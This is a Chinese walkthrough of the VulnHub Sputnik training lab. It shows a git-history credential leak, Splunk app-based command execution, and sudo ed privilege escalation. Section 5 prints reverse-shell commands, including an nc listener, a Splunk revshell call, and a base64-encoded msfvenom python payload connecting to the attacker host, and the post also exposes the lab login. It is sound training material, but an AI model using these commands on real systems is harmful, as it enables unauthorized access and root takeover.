vulnhub靶场-Sputnik

1、靶机信息

靶机名称:Sputnik

靶机难度:简单

虚拟机环境:此靶机推荐使用Virtualbox搭建

目标:取得root权限

靶机地址:https://download.vulnhub.com/sputnik/Sputnik.ova

kali服务器IP

192.168.3.41

靶机IP

192.168.3.42

2、主机发现

2.1 通过arp协议进行同段主机发现,192.168.3.42是我们的目标靶机

sudo arp-scan -l

2.2 使用nmap进行全端口发现

nmap -p- 192.168.3.42

2.3 对发现的端口进行服务版本扫描

nmap -sV -p 8089,55555,61337 192.168.3.42

端口号

服务名称

8089

Splunkd httpd

55555

Apache httpd 2.4.29

61337

Splunkd httpd

2.4 访问8089端口,rpc链接访问后显示Invalid request,services和servicesNS链接访问后显示401认证,static链接访问后显示404 Not Found

https://192.168.3.42:8089/

2.5 访问55555端口,有一个小游戏

http://192.168.3.42:55555/

2.6 访问61337端口,splunk enterprise登陆界面

http://192.168.3.42:61337/en-US/account/login?return_to=%2Fen-US%2F

3、Git库泄露

3.1 使用dirsearch进行目录扫描,发现git文件泄露

Git是一个可以实现有效控制应用版本的系统,但是在一旦在代码发布的时候,存在不规范的操作及配置,就很可能将源代码泄露出去。一旦攻击者或者黑客发现这个问题之后,就可能利用其获取网站的源码、数据库等重要资源信息,进而造成严重的危害。在配置不当的情况下,可能会将“.git”文件直接部署到线上环境,这就造成了git泄露问题。攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会。

http://192.168.3.42:55555/.git/

sudo dirsearch -u http://192.168.3.42:55555 -e *

3.2 在.git/logs/HEAD文件中,会发现这里面记录着每一次移动HEAD时的历史记录,在里面我们找到一个clone记录

http://192.168.3.42:55555/.git/logs/HEAD

0000000000000000000000000000000000000000 21b4eb398bdae0799afbbb528468b5c6f580b975 root <root@sputnik.(none)> 1553864873 +0000 clone: from https://github.com/ameerpornillos/flappy.git

3.3 对代码仓库进行clone

git clone https://github.com/ameerpornillos/flappy

3.4 源代码结构如下

3.5 使用git log命令用于显示代码提交的历史日志记录,在历史记录中找到一个secret记录

git log -p

+sputnik:ameer_says_thank_you_and_good_job

3.6 使用账密成功登陆http://192.168.3.42:61337/

账号:sputnik

密码:ameer_says_thank_you_and_good_job

4、Splunk Shell获取

4.1 在splunk上安装github公开工具,获取其shell并武器化

https://github.com/TBGSecurity/splunk_shells

从安装手册中得知,首先从 https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz 下载版本,然后在splunk中选择"Manage Apps" 并且点击 "Install app from file"

4.2 选择刚下载的tar包并上传

4.3 重启splunk使其生效

4.4 重启后重新输入账密,可以看到已经部署成功

4.5 点击Permissions

4.6 选择 all apps并保存

4.7 选择app下的 Search&Reporting功能,在Search栏中可以进行命令执行

5、反弹shell

5.1 获取splunk服务器shell

Kali:nc -nvlp 9999

splunk服务器:| revshell std 192.168.3.41 9999

5.2 成功获取到shell

5.3 发现本机已安装python,使用python获取交互式shell

which python

5.4 使用 Msfvenom 创建一个python交互式shell

kali:msfvenom -p cmd/unix/reverse_python lhost=192.168.3.41 lport=6666 R

kali:nc -nvlp 6666

splunk服务器:python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgLCAgIHN1YnByb2Nlc3MgICAgICwgICBvcyAgIDsgICAgICAgICBob3N0PSIxOTIuMTY4LjMuNDE9NjY2NiAgIDsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICwgICBzb2NrZXQuU09DS19TVFJFQU0pICAgOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAgLCAgIHBvcnQpKSAgIDsgICAgICAgICBvcy5kdXAyKHMwKSAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICwgICAxKSAgIDsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICwgICAyKSAgIDsgICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))"

splunk服务器:python -c 'import pty;pty.spawn("/bin/bash")'

6、本地提权

6.1  使用sudo命令,查看能够执行哪些sudo命令,发现ed能够以sudo的方式执行

sudo -l

6.2 在网站检索ed命令,看看有没有提权的方式,选择sudo的形式,找到提权payload

https://gtfobins.github.io/gtfobins/ed/#sudo

6.3  使用提权命令成功提权至root

sudo ed

!/bin/sh

6.4 在root目录下找到flag.txt,本次打靶结束

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值